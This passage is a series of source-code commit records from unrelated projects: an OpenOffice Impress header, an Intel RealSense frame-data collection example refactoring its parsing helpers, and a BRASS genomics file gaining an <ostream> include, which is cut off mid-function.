\"Vectorize\"\n\n\/\/------------------------------------------------------------------\n\n#endif \/\/ _SD_GLOB_HXX\n\n\n<commit_msg>INTEGRATION: CWS sj05 (1.4.44); FILE MERGED 2004\/02\/13 14:48:58 sj 1.4.44.2: RESYNC: (1.4-1.5); FILE MERGED 2004\/01\/23 17:16:12 cl 1.4.44.1: #i20484# adding autoshape ui<commit_after>\/*************************************************************************\n *\n *  $RCSfile: glob.hxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: rt $ $Date: 2004-04-02 13:19:09 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SD_GLOB_HXX\n#define SD_GLOB_HXX\n\n#ifndef _SOLAR_H\n#include <tools\/solar.h>\n#endif\n\n\/\/------------------------------------------------------------------\n\n#define DIA_SLOW    0\n#define DIA_MEDIUM  1\n#define DIA_FAST    2\n\n#define SD_IF_SDAPP                     SFX_INTERFACE_SD_START + 0\n#define SD_IF_SDDRAWDOCSHELL            SFX_INTERFACE_SD_START + 1\n#define SD_IF_SDVIEWSHELL               SFX_INTERFACE_SD_START + 2\n#define SD_IF_SDDRAWVIEWSHELL           SFX_INTERFACE_SD_START + 3\n#define SD_IF_SDSLIDEVIEWSHELL          SFX_INTERFACE_SD_START + 4\n#define SD_IF_SDOUTLINEVIEWSHELL        SFX_INTERFACE_SD_START + 5\n#define SD_IF_SDDRAWSTDOBJECTBAR        SFX_INTERFACE_SD_START + 6\n#define SD_IF_SDDRAWTEXTOBJECTBAR       SFX_INTERFACE_SD_START + 7\n#define SD_IF_SDDRAWBEZIEROBJECTBAR     SFX_INTERFACE_SD_START + 8\n#define SD_IF_SDDRAWGLUEPOINTSOBJECTBAR SFX_INTERFACE_SD_START + 9\n#define SD_IF_SDGRAPHICDOCSHELL         SFX_INTERFACE_SD_START + 10\n#define SD_IF_SDGRAPHICVIEWSHELL        SFX_INTERFACE_SD_START + 11\n#define SD_IF_SDGRAPHICSTDOBJECTBAR     SFX_INTERFACE_SD_START + 12\n#define SD_IF_SDDRAWGRAFOBJECTBAR       SFX_INTERFACE_SD_START + 13\n#define SD_IF_SDPRESVIEWSHELL           SFX_INTERFACE_SD_START + 14\n#define SD_IF_SDPREVIEWVIEWSHELL        SFX_INTERFACE_SD_START + 15\n#define SD_IF_SDVIEWSHELLBASE           SFX_INTERFACE_SD_START + 16\n#define SD_IF_SD3DOBJECTBAR             SFX_INTERFACE_SD_START + 17\n#define SD_IF_SDFONTWORKOBJECTBAR       SFX_INTERFACE_SD_START + 18\n\n\/\/ Inventor-Id fuer StarDraw UserData\nconst UINT32 SdUDInventor=UINT32('S')*0x00000001+\n                          UINT32('D')*0x00000100+\n                          UINT32('U')*0x00010000+\n                          UINT32('D')*0x01000000;\n\n\/\/ Object-Ids fuer StarDraw UserData\n#define SD_ANIMATIONINFO_ID 1\n#define SD_IMAPINFO_ID      2\n\n\/\/ FamilyId der Praesentationsvorlagen\n#define SD_LT_FAMILY (SfxStyleFamily)0xaffe\n\n\/\/ Trennzeichen zwischen Layoutname und Vorlagenname der Praesentationsvorlagen\n#define SD_LT_SEPARATOR \"~LT~\"\n\n\/\/ Optionsstream-Identifier\n#define SD_OPTION_MORPHING  \"Morph\"\n#define SD_OPTION_VECTORIZE \"Vectorize\"\n\n\/\/------------------------------------------------------------------\n\n#endif \/\/ _SD_GLOB_HXX\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ License: Apache 2.0. See LICENSE file in root directory.\n\/\/ Copyright(c) 2015 Intel Corporation. All Rights Reserved.\n\n#include <librealsense\/rs.hpp>\n#include <librealsense\/rsutil.hpp>\n#include \"example.hpp\"\n#include <chrono>\n#include <thread>\n#include <iostream>\n#include <fstream>\n#include <sstream>\n#include \"tclap\/CmdLine.h\"\n#include <condition_variable>\n#include <set>\n#include <cctype>\n\n\/\/using namespace std;\nusing namespace TCLAP;\n\nint MAX_FRAMES_NUMBER = 100;\nconst unsigned int NUM_OF_STREAMS = (int)RS_STREAM_COUNT;\n\nstruct frame_data\n{\n    unsigned long long frame_number;\n    double ts;\n    long long arrival_time;\n    rs_timestamp_domain domain;\n    rs_stream strean_type;\n};\n\nenum Config_Params { STREAM_TYPE = 0, RES_WIDTH, RES_HEIGHT, FPS, FORMAT };\n\nint parse_number(char const *s, int base = 0)\n{\n    char c;\n    std::stringstream ss(s);\n    int i;\n    ss >> i;\n    \n    if (ss.fail() || ss.get(c)) \n    {\n        throw std::exception(std::string(std::string(\"Invalid numeric input - \") + s + std::string(\"\\n\")).c_str());\n    }\n    return i;\n}\n\nvoid parse_format(const std::string str, rs_format& format)\n{\n    for (int i = RS_FORMAT_ANY; i < RS_FORMAT_COUNT; i++)\n    {\n        if (rs_format_to_string((rs_format)i) == str)\n        {\n            format = (rs_format)i;\n            return;\n        }\n    }\n    throw std::exception((std::string(\"Invalid format - \") + str + std::string(\"\\n\")).c_str());\n}\n\nvoid parse_stream_type(const std::string str, rs_stream& type)\n{\n    for (int i = RS_STREAM_ANY; i < RS_STREAM_COUNT; i++)\n    {\n        if (rs_stream_to_string((rs_stream)i) == str)\n        {\n            type = (rs_stream)i;\n            return;\n        }\n    }\n    throw std::exception((std::string(\"Invalid stream type - \") + str + std::string(\"\\n\")).c_str());\n}\n\nvoid parse_fps(const std::string str, int& fps)\n{\n    std::set<int> valid_fps({ 10, 15, 30, 60, 90, 100, 200 });\n    fps = parse_number(str.c_str());\n    if (valid_fps.find(fps) == valid_fps.end())\n    {\n        throw std::exception( (std::string(\"Invalid FPS parameter - \") + str + std::string(\"\\n\")).c_str());\n    }\n}\n\nvoid parse_resolution(const std::string w_str, std::string h_str, int& width, int& height)\n{\n    width = parse_number(w_str.c_str());\n    height = parse_number(h_str.c_str());\n}\n\nvoid parse_configuration(const std::vector<std::string> row, rs_stream& type, int& width, int& height, rs_format& format, int& fps)\n{\n    \/\/ Convert string to uppercase\n    auto stream_type_str = row[STREAM_TYPE];\n    std::transform(stream_type_str.begin(), stream_type_str.end(), stream_type_str.begin(), std::ptr_fun<int, int>(std::toupper));\n\n    parse_stream_type(stream_type_str, type);\n    parse_resolution(row[RES_WIDTH], row[RES_HEIGHT], width, height);\n    parse_fps(row[FPS], fps);\n    parse_format(row[FORMAT], format);\n}\n\nrs::util::config configure_stream(bool is_file_set, bool& is_valid, std::string fn = \"\")\n{\n    rs::util::config config;\n\n    if (!is_file_set)\n    {\n        config.enable_all(rs::preset::best_quality);\n        std::cout << \" Warning - No .csv configure file was passed, All streams are enabled by default.\\n\";\n        std::cout << \" To configure stream from a .csv file, specify file full path.\\n\";\n        std::cout << \" Verify stream requests are in the next format -\\n\";\n        std::cout << \" [Stream Type] [Width] [Height] [FPS] [Format]\\n\";\n        return config;\n    }\n\n    std::ifstream file(fn);\n\n    std::string line;\n    while (getline(file, line))\n    {\n        \/\/ Parsing configuration requests\n        std::stringstream ss(line);\n        std::vector<std::string> row;\n        while (ss.good())\n        {\n            std::string substr;\n            getline(ss, substr, ',');\n            row.push_back(substr);\n        }\n\n        rs_stream stream_type;\n        rs_format format;\n        int width, height, fps;\n\n        \/\/ correctness check\n        parse_configuration(row, stream_type, width, height, format, fps);\n        config.enable_stream(stream_type, width, height, fps, format);\n    }\n    return config;\n}\n\nvoid save_data_to_file(std::list<frame_data> buffer[], std::string filename = \".\\\\frames_data.csv\")\n{\n    \/\/ Save to file\n    std::ofstream csv;\n    csv.open(filename);\n    csv << \"Stream Type,F#,Timestamp,Arrival Time\\n\";\n    \n    for (int stream_index = 0; stream_index < NUM_OF_STREAMS; stream_index++)\n    {\n        for (unsigned int i = 0; i < buffer[stream_index].size(); i++)\n        {\n            std::ostringstream line;\n            auto data = buffer[stream_index].front();\n            line << rs_stream_to_string(data.strean_type) << \",\" << data.frame_number << \",\" << data.ts << \",\" << data.arrival_time << \"\\n\";\n            buffer[stream_index].pop_front();\n            csv << line.str();\n        }\n    }\n}\n\nint main(int argc, char** argv) try\n{\n    \/\/ Parse command line arguments\n    CmdLine cmd(\"librealsense cpp-data-collect example tool\", ' ');\n    ValueArg<int> timeout            (\"t\", \"Timeout\",            \"Max amount of time to receive frames\",                false, 10,  \"\");\n    ValueArg<int> max_frames         (\"m\", \"MaxFrames_Number\",   \"Maximun number of frames data to receive\",            false, 100, \"\");\n    ValueArg<std::string> filename   (\"f\", \"FullFilePath\",       \"the file which the data will be saved to\",            false, \"\",  \"\");\n    ValueArg<std::string> config_file(\"c\", \"ConfigurationFile\",  \"Specify file path with the requested configuration\",  false, \"\",  \"\");\n    \n    cmd.add(timeout);\n    cmd.add(max_frames);\n    cmd.add(filename);\n    cmd.add(config_file);\n    cmd.parse(argc, argv);\n\n    if (max_frames.isSet())\n        MAX_FRAMES_NUMBER = max_frames.getValue();\n\n\n    rs::context ctx;\n    \n    auto list = ctx.query_devices();\n    if (list.size() == 0) throw std::runtime_error(\"No device detected. Is it plugged in?\");\n    auto dev = list.front();\n \n    \/\/ configure Streams\n    bool is_valid_config;\n    auto is_file_set = filename.isSet();\n \n    auto config = is_file_set ? configure_stream(true, is_valid_config, config_file.getValue()) : configure_stream(false, is_valid_config);\n    auto camera = config.open(dev);\n\n    std::list<frame_data> buffer[NUM_OF_STREAMS];\n    auto start_time = std::chrono::high_resolution_clock::now();\n\n    std::condition_variable cv;\n\n    camera.start([&buffer, &start_time](rs::frame f)\n    {\n        auto arrival_time = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::high_resolution_clock::now() - start_time);\n\n        frame_data data;\n        data.frame_number = f.get_frame_number();\n        data.strean_type = f.get_stream_type();\n        data.ts = f.get_timestamp();\n        data.domain = f.get_frame_timestamp_domain();\n        data.arrival_time = arrival_time.count();\n\n        if (buffer[(int)data.strean_type].size() < MAX_FRAMES_NUMBER)\n            buffer[(int)data.strean_type].push_back(data);\n    });\n\n    std::this_thread::sleep_for(std::chrono::seconds(timeout.getValue()));\n   \n    camera.stop();\n   \n    if (filename.isSet())\n        save_data_to_file(buffer, filename.getValue());\n    else\n        save_data_to_file(buffer);\n\n    return EXIT_SUCCESS;\n}\ncatch (const rs::error & e)\n{\n    std::cerr << \"RealSense error calling \" << e.get_failed_function() << \"(\" << e.get_failed_args() << \"):\\n    \" << e.what() << std::endl;\n    return EXIT_FAILURE;\n}\ncatch (const std::exception & e)\n{\n    std::cerr << e.what() << std::endl;\n    return EXIT_FAILURE;\n}\n<commit_msg>collect-data demo change helper functions return values (from void to parsing type)<commit_after>\/\/ License: Apache 2.0. See LICENSE file in root directory.\n\/\/ Copyright(c) 2015 Intel Corporation. All Rights Reserved.\n\n#include <librealsense\/rs.hpp>\n#include <librealsense\/rsutil.hpp>\n#include \"example.hpp\"\n#include <chrono>\n#include <thread>\n#include <iostream>\n#include <fstream>\n#include <sstream>\n#include \"tclap\/CmdLine.h\"\n#include <condition_variable>\n#include <set>\n#include <cctype>\n\n\/\/using namespace std;\nusing namespace TCLAP;\n\nint MAX_FRAMES_NUMBER = 100;\nconst unsigned int NUM_OF_STREAMS = (int)RS_STREAM_COUNT;\n\nstruct frame_data\n{\n    unsigned long long frame_number;\n    double ts;\n    long long arrival_time;\n    rs_timestamp_domain domain;\n    rs_stream strean_type;\n};\n\nenum Config_Params { STREAM_TYPE = 0, RES_WIDTH, RES_HEIGHT, FPS, FORMAT };\n\nint parse_number(char const *s, int base = 0)\n{\n    char c;\n    std::stringstream ss(s);\n    int i;\n    ss >> i;\n    \n    if (ss.fail() || ss.get(c)) \n    {\n        throw std::exception(std::string(std::string(\"Invalid numeric input - \") + s + std::string(\"\\n\")).c_str());\n    }\n    return i;\n}\n\nrs_format parse_format(const std::string str)\n{\n    for (int i = RS_FORMAT_ANY; i < RS_FORMAT_COUNT; i++)\n    {\n        if (rs_format_to_string((rs_format)i) == str)\n        {\n            return (rs_format)i;\n        }\n    }\n    throw std::exception((std::string(\"Invalid format - \") + str + std::string(\"\\n\")).c_str());\n}\n\nrs_stream parse_stream_type(const std::string str)\n{\n    for (int i = RS_STREAM_ANY; i < RS_STREAM_COUNT; i++)\n    {\n        if (rs_stream_to_string((rs_stream)i) == str)\n        {\n            return (rs_stream)i;\n        }\n    }\n    throw std::exception((std::string(\"Invalid stream type - \") + str + std::string(\"\\n\")).c_str());\n}\n\nint parse_fps(const std::string str)\n{\n    std::set<int> valid_fps({ 10, 15, 30, 60, 90, 100, 200 });\n    auto fps = parse_number(str.c_str());\n    if (valid_fps.find(fps) == valid_fps.end())\n    {\n        throw std::exception( (std::string(\"Invalid FPS parameter - \") + str + std::string(\"\\n\")).c_str());\n    }\n    return fps;\n}\n\nvoid parse_configuration(const std::vector<std::string> row, rs_stream& type, int& width, int& height, rs_format& format, int& fps)\n{\n    \/\/ Convert string to uppercase\n    auto stream_type_str = row[STREAM_TYPE];\n    std::transform(stream_type_str.begin(), stream_type_str.end(), stream_type_str.begin(), std::ptr_fun<int, int>(std::toupper));\n\n    type    = parse_stream_type(stream_type_str);\n    width   = parse_number(row[RES_WIDTH].c_str());\n    height  = parse_number(row[RES_HEIGHT].c_str());\n    fps     = parse_fps(row[FPS]);\n    format  = parse_format(row[FORMAT]);\n}\n\nrs::util::config configure_stream(bool is_file_set, bool& is_valid, std::string fn = \"\")\n{\n    rs::util::config config;\n\n    if (!is_file_set)\n    {\n        config.enable_all(rs::preset::best_quality);\n        std::cout << \" Warning - No .csv configure file was passed, All streams are enabled by default.\\n\";\n        std::cout << \" To configure stream from a .csv file, specify file full path.\\n\";\n        std::cout << \" Verify stream requests are in the next format -\\n\";\n        std::cout << \" [Stream Type] [Width] [Height] [FPS] [Format]\\n\";\n        return config;\n    }\n\n    std::ifstream file(fn);\n\n    std::string line;\n    while (getline(file, line))\n    {\n        \/\/ Parsing configuration requests\n        std::stringstream ss(line);\n        std::vector<std::string> row;\n        while (ss.good())\n        {\n            std::string substr;\n            getline(ss, substr, ',');\n            row.push_back(substr);\n        }\n\n        rs_stream stream_type;\n        rs_format format;\n        int width, height, fps;\n\n        \/\/ correctness check\n        parse_configuration(row, stream_type, width, height, format, fps);\n        config.enable_stream(stream_type, width, height, fps, format);\n    }\n    return config;\n}\n\nvoid save_data_to_file(std::list<frame_data> buffer[], std::string filename = \".\\\\frames_data.csv\")\n{\n    \/\/ Save to file\n    std::ofstream csv;\n    csv.open(filename);\n    csv << \"Stream Type,F#,Timestamp,Arrival Time\\n\";\n    \n    for (int stream_index = 0; stream_index < NUM_OF_STREAMS; stream_index++)\n    {\n        for (unsigned int i = 0; i < buffer[stream_index].size(); i++)\n        {\n            std::ostringstream line;\n            auto data = buffer[stream_index].front();\n            line << rs_stream_to_string(data.strean_type) << \",\" << data.frame_number << \",\" << data.ts << \",\" << data.arrival_time << \"\\n\";\n            buffer[stream_index].pop_front();\n            csv << line.str();\n        }\n    }\n}\n\nint main(int argc, char** argv) try\n{\n    \/\/ Parse command line arguments\n    CmdLine cmd(\"librealsense cpp-data-collect example tool\", ' ');\n    ValueArg<int> timeout            (\"t\", \"Timeout\",            \"Max amount of time to receive frames\",                false, 10,  \"\");\n    ValueArg<int> max_frames         (\"m\", \"MaxFrames_Number\",   \"Maximun number of frames data to receive\",            false, 100, \"\");\n    ValueArg<std::string> filename   (\"f\", \"FullFilePath\",       \"the file which the data will be saved to\",            false, \"\",  \"\");\n    ValueArg<std::string> config_file(\"c\", \"ConfigurationFile\",  \"Specify file path with the requested configuration\",  false, \"\",  \"\");\n    \n    cmd.add(timeout);\n    cmd.add(max_frames);\n    cmd.add(filename);\n    cmd.add(config_file);\n    cmd.parse(argc, argv);\n\n    if (max_frames.isSet())\n        MAX_FRAMES_NUMBER = max_frames.getValue();\n\n\n    rs::context ctx;\n    \n    auto list = ctx.query_devices();\n    if (list.size() == 0) throw std::runtime_error(\"No device detected. Is it plugged in?\");\n    auto dev = list.front();\n \n    \/\/ configure Streams\n    bool is_valid_config;\n    auto is_file_set = filename.isSet();\n \n    auto config = is_file_set ? configure_stream(true, is_valid_config, config_file.getValue()) : configure_stream(false, is_valid_config);\n    auto camera = config.open(dev);\n\n    std::list<frame_data> buffer[NUM_OF_STREAMS];\n    auto start_time = std::chrono::high_resolution_clock::now();\n\n    std::condition_variable cv;\n\n    camera.start([&buffer, &start_time](rs::frame f)\n    {\n        auto arrival_time = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::high_resolution_clock::now() - start_time);\n\n        frame_data data;\n        data.frame_number = f.get_frame_number();\n        data.strean_type = f.get_stream_type();\n        data.ts = f.get_timestamp();\n        data.domain = f.get_frame_timestamp_domain();\n        data.arrival_time = arrival_time.count();\n\n        if (buffer[(int)data.strean_type].size() < MAX_FRAMES_NUMBER)\n            buffer[(int)data.strean_type].push_back(data);\n    });\n\n    std::this_thread::sleep_for(std::chrono::seconds(timeout.getValue()));\n   \n    camera.stop();\n   \n    if (filename.isSet())\n        save_data_to_file(buffer, filename.getValue());\n    else\n        save_data_to_file(buffer);\n\n    return EXIT_SUCCESS;\n}\ncatch (const rs::error & e)\n{\n    std::cerr << \"RealSense error calling \" << e.get_failed_function() << \"(\" << e.get_failed_args() << \"):\\n    \" << e.what() << std::endl;\n    return EXIT_FAILURE;\n}\ncatch (const std::exception & e)\n{\n    std::cerr << e.what() << std::endl;\n    return EXIT_FAILURE;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**   LICENCE\n* Copyright (c) 2014-2017 Genome Research Ltd.\n*\n* Author: Cancer Genome Project <cgpit@sanger.ac.uk>\n*\n* This file is part of BRASS.\n*\n* BRASS is free software: you can redistribute it and\/or modify it under\n* the terms of the GNU Affero General Public License as published by the Free\n* Software Foundation; either version 3 of the License, or (at your option) any\n* later version.\n*\n* This program is distributed in the hope that it will be useful, but WITHOUT\n* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n* FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more\n* details.\n*\n* You should have received a copy of the GNU Affero General Public License\n* along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\n* 1. The usage of a range of years within a copyright statement contained within\n* this distribution should be interpreted as being equivalent to a list of years\n* including the first and last year specified and all consecutive years between\n* them. For example, a copyright statement that reads ‘Copyright (c) 2005, 2007-\n* 2009, 2011-2012’ should be interpreted as being identical to a statement that\n* reads ‘Copyright (c) 2005, 2007, 2008, 2009, 2011, 2012’ and a copyright\n* statement that reads ‘Copyright (c) 2005-2012’ should be interpreted as being\n* identical to a statement that reads ‘Copyright (c) 2005, 2006, 2007, 2008,\n* 2009, 2010, 2011, 2012’.\"\n*\/\n\n\/\/ Author: John Marshall\n\n\/\/ rearrgroup.cpp -- Classes for rearrangement groups and sets thereof.\n\n#include \"rearrgroup.h\"\n\n#include <cstdlib>\n\n#include \"cansam\/exception.h\"\n\nusing std::string;\nusing namespace sam;\n\n\n\/\/ This is an invalid read group name, used as a \"no RG: field\" indicator.\nconst char* const readgroup_set::NO_RG = \"\\t\";\n\nreadgroup_set::readgroup_set(const collection& hdrs, scoord_t default_max,\n\t\t\t     string default_sample) {\n  std::map<string, int> sample_index;\n\n  for (collection::const_iterator it = hdrs.begin(); it != hdrs.end(); ++it)\n    if (it->type_equals(\"RG\")) {\n      const readgroup& rg = dynamic_cast<const readgroup&>(*it);\n\n      scoord_t max;\n      header::const_iterator mi = rg.find(\"MI\");\n      if (mi != rg.end()) {\n\tconst char* text = mi->value<const char*>();\n\tif (text[0] == 'Z' && text[1] == ':')  text += 2;\n\tmax = atoi(text);\n      }\n      else {\n\tif (default_max < 0)\n\t  throw sam::exception(\"Read group \" + rg.id() +\n\t\t\t       \" has no MI: field (-m option required)\");\n\tmax = default_max;\n      }\n\n      string sample = rg.sample();\n      readgroups[rg.id_c_str()] = readgroup_info(sample, max);\n      sample_index.insert(make_pair(sample, 0));\n    }\n\n  if (! default_sample.empty()) {\n    if (default_max < 0)\n      throw sam::exception(\"No maximum insert size given for read pairs\"\n\t\t\t   \" without a read group (-m option required\");\n\n    readgroups[NO_RG] = readgroup_info(default_sample, default_max);\n    sample_index.insert(make_pair(default_sample, 0));\n  }\n  else if (readgroups.empty())\n    throw sam::exception(\"No read groups listed (-s\/-m\/etc options required)\");\n\n  for (std::map<string,int>::iterator it = sample_index.begin();\n       it != sample_index.end(); ++it) {\n    it->second = samples_.size();\n    samples_.push_back(it->first);\n  }\n\n  for (readgroup_map::iterator it = readgroups.begin();\n       it != readgroups.end(); ++it)\n    it->second.sample_index = sample_index[it->second.sample];\n}\n\nconst readgroup_info& readgroup_set::find(const alignment& aln) const {\n  const char* rg = aln.aux(\"RG\", NO_RG);\n  readgroup_map::const_iterator it = readgroups.find(rg);\n  if (it == readgroups.end()) {\n    string rgstr = rg;\n    if (rgstr == NO_RG)\n      throw sam::exception(\"Read \" + aln.qname() +\n\t\t\t   \" has no RG: field (consider -s option)\");\n    else\n      throw sam::exception(\"Read \" + aln.qname() +\n\t\t\t   \" has an unknown read group ('\" + rgstr + \"')\");\n  }\n\n  return it->second;\n}\n\n\ninterval::interval(const alignment& aln, coord_t pos, int strand,\n\t\t   coord_t ref_length, const readgroup_info& info) {\n    \/\/ FIXME This is for short-insert-solexa only\n\n    scoord_t pos0 = pos;\n\n    if (strand == +1) {\n      pos5 = pos0, pos3 = pos0 + info.max_insert;\n      if (pos3 > ref_length)  pos3 = ref_length;\n    }\n    else {\n      pos0 += aln.length();\n      pos5 = pos0 - info.max_insert, pos3 = pos0;\n      if (pos5 < 1)  pos5 = 1;\n      if (pos3 > ref_length)  pos3 = ref_length;\n    }\n}\n\n\nrearr_group::rearr_group(alignment& aln, const interval& alnL,\n\t\t\t const interval& alnH, const readgroup_info& info,\n\t\t\t const readgroup_set& readgroups)\n  : overlapL(alnL), overlapH(alnH), max_insert(info.max_insert) {\n\n  samples.assign(readgroups.samples().size(), per_sample());\n  per_sample& sample = samples[info.sample_index];\n  total_count = sample.count = 1;\n  sample.readnames.assign(aln.qname_c_str(), aln.qname_length());\n\n  canonical.swap(aln);\n}\n\nvoid rearr_group::insert(const alignment& aln, const interval& alnL,\n\t\t\t const interval& alnH, const readgroup_info& info) {\n#ifndef NOT_PARANOID\n  if (! (aln.rindex() == canonical.rindex() &&\n\t aln.strand() == canonical.strand() &&\n\t aln.mate_rindex() == canonical.mate_rindex() &&\n\t aln.mate_strand() == canonical.mate_strand()))\n    throw std::logic_error(\"inserted alignment does not match group\");\n#endif\n\n  overlapL *= alnL;\n  overlapH *= alnH;\n\n  if (max_insert < info.max_insert)  max_insert = info.max_insert;\n\n  per_sample& sample = samples[info.sample_index];\n  total_count++;\n  sample.count++;\n  if (! sample.readnames.empty())  sample.readnames += ';';\n  sample.readnames.append(aln.qname_c_str(), aln.qname_length());\n}\n\nstd::ostream& operator<< (std::ostream& out, const rearr_group& group) {\n  const alignment& aln = group.canonical;\n\n  out << aln.rname_c_str() << '\\t' << aln.strand_char() << '\\t'\n      << group.overlapL.pos5 << '\\t' << group.overlapL.pos3 << '\\t'\n      << aln.mate_rname_c_str() << '\\t' << aln.mate_strand_char() << '\\t'\n      << group.overlapH.pos5 << '\\t' << group.overlapH.pos3;\n\n  rearr_group::const_sample_iterator it;\n  for (it = group.samples.begin(); it != group.samples.end(); ++it)\n    out << '\\t' << it->count;\n\n  if (! group.notes.empty())  out << '\\t' << group.notes;\n  else  out << \"\\t.\";\n\n  for (it = group.samples.begin(); it != group.samples.end(); ++it)\n    if (it->count > 0)  out << '\\t' << it->readnames;\n    else  out << \"\\t.\";\n\n  return out;\n}\n\n\nrearr_group_set::rearr_group_set(const collection& refseqs)\n  : lists(refseqs.ref_size()), rindex_(-1) {\n}\n\nrearr_group_set::iterator_pair rearr_group_set::complete_range() {\n  for (size_t i = 1; i < lists.size(); i++)\n    lists[0].splice(lists[0].end(), lists[i]);\n\n  return make_pair(lists[0].begin(), lists[0].end());\n}\n\nvoid rearr_group_set::clear() {\n  lists[0].clear();\n  rindex_ = -1;\n}\n<commit_msg>Add missing <ostream> inclusion<commit_after>\/**   LICENCE\n* Copyright (c) 2014-2017 Genome Research Ltd.\n*\n* Author: Cancer Genome Project <cgpit@sanger.ac.uk>\n*\n* This file is part of BRASS.\n*\n* BRASS is free software: you can redistribute it and\/or modify it under\n* the terms of the GNU Affero General Public License as published by the Free\n* Software Foundation; either version 3 of the License, or (at your option) any\n* later version.\n*\n* This program is distributed in the hope that it will be useful, but WITHOUT\n* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n* FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more\n* details.\n*\n* You should have received a copy of the GNU Affero General Public License\n* along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\n* 1. The usage of a range of years within a copyright statement contained within\n* this distribution should be interpreted as being equivalent to a list of years\n* including the first and last year specified and all consecutive years between\n* them. For example, a copyright statement that reads ‘Copyright (c) 2005, 2007-\n* 2009, 2011-2012’ should be interpreted as being identical to a statement that\n* reads ‘Copyright (c) 2005, 2007, 2008, 2009, 2011, 2012’ and a copyright\n* statement that reads ‘Copyright (c) 2005-2012’ should be interpreted as being\n* identical to a statement that reads ‘Copyright (c) 2005, 2006, 2007, 2008,\n* 2009, 2010, 2011, 2012’.\"\n*\/\n\n\/\/ Author: John Marshall\n\n\/\/ rearrgroup.cpp -- Classes for rearrangement groups and sets thereof.\n\n#include \"rearrgroup.h\"\n\n#include <ostream>\n#include <cstdlib>\n\n#include \"cansam\/exception.h\"\n\nusing std::string;\nusing namespace sam;\n\n\n\/\/ This is an invalid read group name, used as a \"no RG: field\" indicator.\nconst char* const readgroup_set::NO_RG = \"\\t\";\n\nreadgroup_set::readgroup_set(const collection& hdrs, scoord_t default_max,\n\t\t\t     string default_sample) {\n  std::map<string, int> sample_index;\n\n  for (collection::const_iterator it = hdrs.begin(); it != hdrs.end(); ++it)\n    if (it->type_equals(\"RG\")) {\n      const readgroup& rg = dynamic_cast<const readgroup&>(*it);\n\n      scoord_t max;\n      header::const_iterator mi = rg.find(\"MI\");\n      if (mi != rg.end()) {\n\tconst char* text = mi->value<const char*>();\n\tif (text[0] == 'Z' && text[1] == ':')  text += 2;\n\tmax = atoi(text);\n      }\n      else {\n\tif (default_max < 0)\n\t  throw sam::exception(\"Read group \" + rg.id() +\n\t\t\t       \" has no MI: field (-m option required)\");\n\tmax = default_max;\n      }\n\n      string sample = rg.sample();\n      readgroups[rg.id_c_str()] = readgroup_info(sample, max);\n      sample_index.insert(make_pair(sample, 0));\n    }\n\n  if (! default_sample.empty()) {\n    if (default_max < 0)\n      throw sam::exception(\"No maximum insert size given for read pairs\"\n\t\t\t   \" without a read group (-m option required\");\n\n    readgroups[NO_RG] = readgroup_info(default_sample, default_max);\n    sample_index.insert(make_pair(default_sample, 0));\n  }\n  else if (readgroups.empty())\n    throw sam::exception(\"No read groups listed (-s\/-m\/etc options required)\");\n\n  for (std::map<string,int>::iterator it = sample_index.begin();\n       it != sample_index.end(); ++it) {\n    it->second = samples_.size();\n    samples_.push_back(it->first);\n  }\n\n  for (readgroup_map::iterator it = readgroups.begin();\n       it != readgroups.end(); ++it)\n    it->second.sample_index = sample_index[it->second.sample];\n}\n\nconst readgroup_info& readgroup_set::find(const alignment& aln) const {\n  const char* rg = aln.aux(\"RG\", NO_RG);\n  readgroup_map::const_iterator it = readgroups.find(rg);\n  if (it == readgroups.end()) {\n    string rgstr = rg;\n    if (rgstr == NO_RG)\n      throw sam::exception(\"Read \" + aln.qname() +\n\t\t\t   \" has no RG: field (consider -s option)\");\n    else\n      throw sam::exception(\"Read \" + aln.qname() +\n\t\t\t   \" has an unknown read group ('\" + rgstr + \"')\");\n  }\n\n  return it->second;\n}\n\n\ninterval::interval(const alignment& aln, coord_t pos, int strand,\n\t\t   coord_t ref_length, const readgroup_info& info) {\n    \/\/ FIXME This is for short-insert-solexa only\n\n    scoord_t pos0 = pos;\n\n    if (strand == +1) {\n      pos5 = pos0, pos3 = pos0 + info.max_insert;\n      